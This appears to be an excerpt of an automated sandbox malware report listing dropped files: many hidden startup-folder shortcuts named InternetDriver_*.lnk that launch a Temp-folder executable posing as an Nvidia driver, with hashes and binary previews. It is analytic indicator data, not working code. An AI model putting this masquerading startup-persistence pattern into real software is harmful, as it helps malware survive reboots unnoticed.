C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_35c5431ed5714ae89884a986955f0da4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:51 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.929171941956174
Encrypted:	false
SSDEEP:	24:8nuBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8uBetVRVf0qa0lECjtyF
MD5:	C675F3B7FC032147C116E11A5E6BB954
SHA1:	94737B1B410FE9C9AEE380E69715EF1801764C21
SHA-256:	6816037E007B954B35A45E1EED78D22564A39633DC5BCD0474457BEC8AC6C9D1
SHA-512:	C1B227CC5AC7E322CED7C9541B553C9616E9557FCA264F19080ED542061EDCC823C029692DFF14F0F5BF0F8F8FDDA61903D226E936D4F123F92F5ABCEE0A5878
Malicious:	false
Preview:	L..................F...."...'S...I.../...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_3c7b8f1e8ee94038b44eaf24fa1b18f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:48 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.934659296261328
Encrypted:	false
SSDEEP:	24:8nQ2Betq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8Q2BetVRbf0qa0lECjtyF
MD5:	18BFFE3E95ACCE9B2C93D62C01E10006
SHA1:	4AB521ED62C9095D0E807107C9163858D41E2C8A
SHA-256:	5F56D61B048AB2B85EBCF291F3DE490D302930F57C47469C2381D02162B7D077
SHA-512:	0732D253EED1B25F2A49D612AC192920A4D4B15F63D71592EBC04CBF3331EBE9C1C5423278B1C9B91C9051DCFD3CFD8943A83B9DCD2AABA2BA92544224F358DB
Malicious:	false
Preview:	L..................F...."...'S...I......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................*...N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_3d05c516b5834b8dabc47ef19f64e664.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:55 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.930609831877778
Encrypted:	false
SSDEEP:	24:8nGOBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8GOBetVRVf0qa0lECjtyF
MD5:	1DD9FC6D25AF0DE11B1D22BE5DB40D74
SHA1:	7784808B316638B29FE44A662C5B47CB5DFA4939
SHA-256:	71680AA9715941C3C82164EB4DDC1A04AF17B91C728D90C0E20A7A92CC2E176D
SHA-512:	A47301D86B2B580454D4CD765CB36C59BFEB83BCEE5475DD4BB1B081F00B45961D7F0FF31F6C206B25AE03027336190E15289B38377D6E41522B10381B3D019D
Malicious:	false
Preview:	L..................F...."...'S...I..j....I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_3e2c4608ee2c413ab2c52f7c591fe146.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:41 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.930270972806528
Encrypted:	false
SSDEEP:	24:8nikpBetq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8ikpBetVRbf0qa0lECjtyF
MD5:	DA43D0E72D158378A0F63EE7B33C9105
SHA1:	454800D09430E34266631508AC861F04C5899101
SHA-256:	9B4C55FD573A18CECC17CC99523EE4EE398E0812DC6259FEDEE299327719F766
SHA-512:	C9EAC6DC816A855ED30389C378F2E8CC3D9BFB14062AE5B78256D63DA574845EB9C36A36140E6DFA8BB09710B790A8387F1ED9F5A770C3D687697D26DD8977C2
Malicious:	false
Preview:	L..................F...."...'S...I..n.X..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_40a333e62b3245feb9875db00366e537.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:39 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.937514882708982
Encrypted:	false
SSDEEP:	24:8H0Betq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:8UBetVRbf0qa0PjtyF
MD5:	6707787288F4EB6DD9E6093F15337D35
SHA1:	FE79902FFB69A3FAF7B4773ACCDE28587D99F78F
SHA-256:	94734FB51366FE9EF918B36968D478A5EDEBE9814EAC996E53B441C7C243182A
SHA-512:	52AA051CCB666E641238D2D2B028E9458F6AA20B41B41A6FA4B56DB6FE6323D8878BE8959D74773261C91CB4F304EA29A95F2287068BB09F5691F718F2C4F3BF
Malicious:	false
Preview:	L..................F...."...'S...I.......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_4472c0c28e264555be93599bae62b8a6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:43 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.935599564756998
Encrypted:	false
SSDEEP:	24:8nZBetq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8ZBetVRbf0qa0lECjtyF
MD5:	4840E4A28527DA2E8EF7F67953F07948
SHA1:	C57FFBABB9FAAD4824D6CA9BA74FA45E207057B0
SHA-256:	9F2E738654F31FE16FABDDACFD32B44517892299029E7ABE9372DDE75F635EED
SHA-512:	E71AB3B7A4DF35FE95FB8E6F0DBD6FF0AD91EEC3109A3B78E53B59789E90FDFBC17ADC6826C7C611CB66B53A42F22394650CC4C71F36376DBBDA9AE1B7367B43
Malicious:	false
Preview:	L..................F...."...'S...I..'...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_461994a0584e408eb3dcf4bd676ca6d8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:54 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.938391332667177
Encrypted:	false
SSDEEP:	24:8HSOBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:8yOBetVRVf0qa0PjtyF
MD5:	36C9F1F440FC48D4193C1F8854CFAF2C
SHA1:	E759B559B91FA84A3D7611DFEE840551F9C553FB
SHA-256:	5C7DB3A72318C1509E3BA4376CFE3276DC8C330683AB5931953575E399EAE20B
SHA-512:	57DC3B6AFF97744DA531DD9D1BA80E0DDB5B8C1ECBD68875AE69A3043947C3100B1904EBCAEE1A3CF2F350A3F10AC001F92E2CA20FFF48BF22F2524AEF4C02E2
Malicious:	false
Preview:	L..................F...."...'S...I.......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_47f9cda654d3460a8bdfb32342b71236.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:44 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.9302176628178
Encrypted:	false
SSDEEP:	24:8nYBetq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8YBetVRbf0qa0lECjtyF
MD5:	478D3941D1220E4105E15598022B5C9B
SHA1:	10EA2027362C08A8BA204DB917564A0BF68A2C2C
SHA-256:	6097E4F4C2C27D62E16E09F57407FE74D92B2B0B84D16A87176A6A90387BE1A5
SHA-512:	11078E144A8E7581E136B47F72CB936CDD013D7C95EF192641AFB016A49066C85F0E6E032AE559ADB6D710AC7C7F0F7631B05633AD96FEB3362D884CBF113E82
Malicious:	false
Preview:	L..................F...."...'S...I.. 58..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_5076c9e3d6c54857a127aabaa9953371.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:38 2024, mtime=Sun Dec 8 16:06:38 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1228
Entropy (8bit):	4.920773279990392
Encrypted:	false
SSDEEP:	24:8GNetq43HR6JgKAPpNcAwmfm1dJNmN3CRSqyFm:8GNetVRtNbwakdJEAyF
MD5:	E956E610CE9911593B4419F0615EA62D
SHA1:	CD28C7466DFA1D0193D19A0EF0CA879A0726B4BD
SHA-256:	525646B8E16DA92E48CEDFA11C6C0C5990188669FE34968274A1B663106CCC17
SHA-512:	F80189F367F381E8EB62F389854241D017BABFDEAD9BC62543039475E92C1E844135EFE4633066DA77EF4D758DA044D02048D9E50642AC03D04506CC09B6130C
Malicious:	false
Preview:	L..................F...."....bX..I...bX..I.......I...d......................0.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...............................N.v.i.d.i.a.D.r.i.v.e.r.....r.2..d...Y.".INTERN~1.EXE..V......Y..Y...........................zY..I.n.t.e.r.n.e.t.D.r.i.v.e.r...e.x.e.......p...............-.......o.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe..<.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.I.n.t.e.r.n.e.t.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... .k[......,.......hT..CrF.f4... .k

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_5d5114f2b78945199c3be89ad614c09d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:42 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.936767718582114
Encrypted:	false
SSDEEP:	24:8HgBetq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:8ABetVRbf0qa0PjtyF
MD5:	6581DA6A233B4180150BA662C6920CE9
SHA1:	6073F49E554D48F68845D0FE092A2994839AE511
SHA-256:	3A35E3B77B46EC5A68673C55B799B08507FEABBD0529A1343376CF657A8CAD1C
SHA-512:	68D9660FD55EB77B7D0BF3AAE07610A88EE49294E376B52942063B60736286FD6E914FFF4595C6748435C5C8EEA81278B65ABBD21ABCC00FBCF8D77CBE33C07E
Malicious:	false
Preview:	L..................F...."...'S...I.......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_6719133747fd44faaab1433219bf7dc9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:50 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.935112108972403
Encrypted:	false
SSDEEP:	24:8HroBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:8kBetVRVf0qa0PjtyF
MD5:	159922389748AD7A87DD2B3005BF7D4A
SHA1:	F713D407649FEF8EB458A62178A09620EB831050
SHA-256:	E587FDD54C95525C96B0B58C98E0EA76B7BD1B81632D4AD8A76EA03C0AD13B9B
SHA-512:	BA4B4D3A61F1C7494C5ABB72C1745305AF456FB6D09026015F892F4E45D5407EBB618522D22F39A649C69CCC60FCD6E9633336E9EC22275150B9764247E28504
Malicious:	false
Preview:	L..................F...."...'S...I..$...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_67e78d46677546c8a89b0be1cc1a70da.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:52 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.9279037080414225
Encrypted:	false
SSDEEP:	24:8nilBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8ilBetVRVf0qa0lECjtyF
MD5:	DAEF171C75760A768732D1C24373DFD6
SHA1:	2D7C077A51F0587CE5AD3C1E059A0666CB4ED772
SHA-256:	EBC7E877AB5631CD05B666B8FFC01F46CD5378B52FFF308D6672BA7C33F222B7
SHA-512:	007AFBDD05031239979E44326FDB8E06F48892B7AD7C872B80416BA222B690316D7EE5F51793BE858CA0EC806A5F5A25ADFC4059AB817D593C6DCF8F101E8B81
Malicious:	false
Preview:	L..................F...."...'S...I..nN...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_782e4936eddf44dd94468e70166fe8b4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:48 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.939471978996979
Encrypted:	false
SSDEEP:	24:8HsBetq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:8MBetVRbf0qa0PjtyF
MD5:	F99496FFA8CB12BF2EF15BE611684D37
SHA1:	C680093F12140C233694ECFDA3CD516F46B5D09F
SHA-256:	0B7B382145522C83A43F98140CA8EEDFD690EF97733D2D9740F130577573F8D5
SHA-512:	D7D01A8472A08177D16E63985391471AE7B11F80F578439131D3CCEC065342DB6F06400D3643FDD5FAB2E1C6D6929A5B610FC5141A6776D843A1AB2E6A4321DA
Malicious:	false
Preview:	L..................F...."...'S...I...%..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_9a81a00d066d4bfa82dcac5a08bde51a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:50 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.929734899469113
Encrypted:	false
